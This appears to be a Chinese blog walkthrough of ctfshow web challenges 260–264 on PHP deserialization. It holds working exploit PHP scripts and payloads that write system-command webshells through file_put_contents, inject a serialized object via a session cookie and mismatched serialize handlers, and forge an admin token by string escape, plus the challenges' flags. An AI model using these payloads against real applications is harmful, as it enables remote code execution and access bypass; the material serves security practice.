ctfshow-web入门-反序列化(web260-web264)

目录

1、web260

2、web261

3、web262

4、web263

5、web264


1、web260

要求传入的内容序列化后包含指定内容即可,在 PHP 序列化中,如果键名或值包含 ctfshow_i_love_36D,那么整个序列化结果也会包含这个字符串。

payload:

复制代码
?ctfshow[]=ctfshow_i_love_36D

拿到 flag:ctfshow{16d7d5c7-a95b-46e2-8ae6-9ce1ce40db95}

2、web261

一开始看到的是 eval 函数,但是需要触发 __invoke ,看了下这里没法触发

那么利用点就只有 file_put_contents,需要满足 code==0x36d 转成十进制也就是 877,是弱等于,因此我们可以在 877 后面添加内容,也可以满足条件,而 code = this-\>username.this->password,也就是传入的用户名和密码的拼接。

exp:

php 复制代码
<?php
class ctfshowvip
{
    public $username;
    public $password;
    public $code;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
    }
}
$c = new ctfshowvip('877.php',"<?php system('tac /f*');?>");
echo serialize($c);

这里同时存在 __unserialize() 和 __wakeup()函数,在 php 7.4 以上版本反序列化时会忽略__wakeup() 函数,因此这里实际并不需要用户名和密码为空。

payload:

php 复制代码
?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:26:"<?php system('tac /f*');?>";s:4:"code";N;}

访问 877.php 拿到 flag

ctfshow{2f61063a-c9c5-49f7-968a-d7adf772376d}

3、web262

没看到什么利用点,但是注意到有一个 message.php

这个就很简单了,满足 $msg->token=='admin' 即可

exp:

php 复制代码
<?php
class message{
    public $token='admin';
}
$m = new message();
echo base64_encode(serialize($m));
?>

payload:

php 复制代码
msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

拿到 flag:ctfshow{52bb7ed2-61da-493c-a7f3-89f9ea42f6c2}

如果不在 message.php 传,回过头来看这个,其实是字符串逃逸变长的类型

将 fuck 替换为 loveU 就会增加一个字符

逃逸部分如下,共27个字符

构造 payload:

php 复制代码
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

访问 message.php 即可看到 flag

4、web263

目录扫描存在备份文件 www.zip

file_put_contents 这里可以写入东西

session.serialize_handler 是用来设置 session 序列化引擎的,在 5.5.4 前默认是 php,5.5.4后默认是 php_serialize,在 PHP 反序列化存储的 $_SESSION 数据时如果使用的引擎和序列化时使用的引擎不一样,就会导致数据无法正确第反序列化,也就是 session 反序列化漏洞。

在 check.php 下会获取 $_COOKIE['limit'] 进行 base64 解码

exp:

php 复制代码
<?php
class User
{
    public $username;
    public $password;
    function __construct()
    {
        $this->username = 'my6n.php';
        $this->password = '<?php system(\'tac flag.php\')?>';
    }
}
$u = new User();
echo urlencode(base64_encode('|' . serialize($u)));

运行得到:

php 复制代码
fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo4OiJteTZuLnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKT8%2BIjt9

先访问首页,建立会话,将 cookie 中的 limit 赋值为我们的 payload(序列化后的内容)

接着访问 check.php

反序列化 session

写入恶意代码

访问写入的文件 log-my6n.php

命令执行成功

拿到 flag:ctfshow{2810fbc2-fc78-4bad-b0cb-8a40aedbe6d4}

5、web264

直接用 web262 的传发现不行,msg 没有定义

查看 cookie,确实没有 msg

我们手动添加一个,但是直接在 message.php 设置 admin 也不行,那就还是采用字符串逃逸的方法,payload 同 web262:

php 复制代码
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

刷新 message.php

拿到 flag:ctfshow{e2c408b1-9ab9-4c87-8655-ec43b2e2930a}

相关推荐
用户6057237487308几秒前
AI 编码助手的规范驱动开发 - OpenSpec 初探
前端·后端·程序员
狗胜3 分钟前
AI观察日记 2026-03-02|CLAUDE、TYPE、APPFUNCTIONS:掘金热门里的下一步信号
前端
喝水的长颈鹿5 分钟前
【大白话前端 02】网页从解析到绘制的全流程
前端·javascript
明君879976 分钟前
Flutter 实现 AI 聊天页面 —— 记一次 Markdown 数学公式显示的踩坑之旅
前端·flutter
用户14536981458788 分钟前
VersionCheck.js - 让前端版本更新变得简单优雅
前端·javascript
米饭同学i9 分钟前
微信小程序实现随机撒花效果
前端
Arthur14726122865479 分钟前
模块化和组件化的区别
前端
codingWhat12 分钟前
整理「祖传」代码,就是在开发脚手架?
前端·javascript·node.js
臣妾没空22 分钟前
里程碑5:完成框架npm包抽象封装并发布
前端·npm
Wect23 分钟前
LeetCode 210. 课程表 II 题解:Kahn算法+DFS 双解法精讲
前端·算法·typescript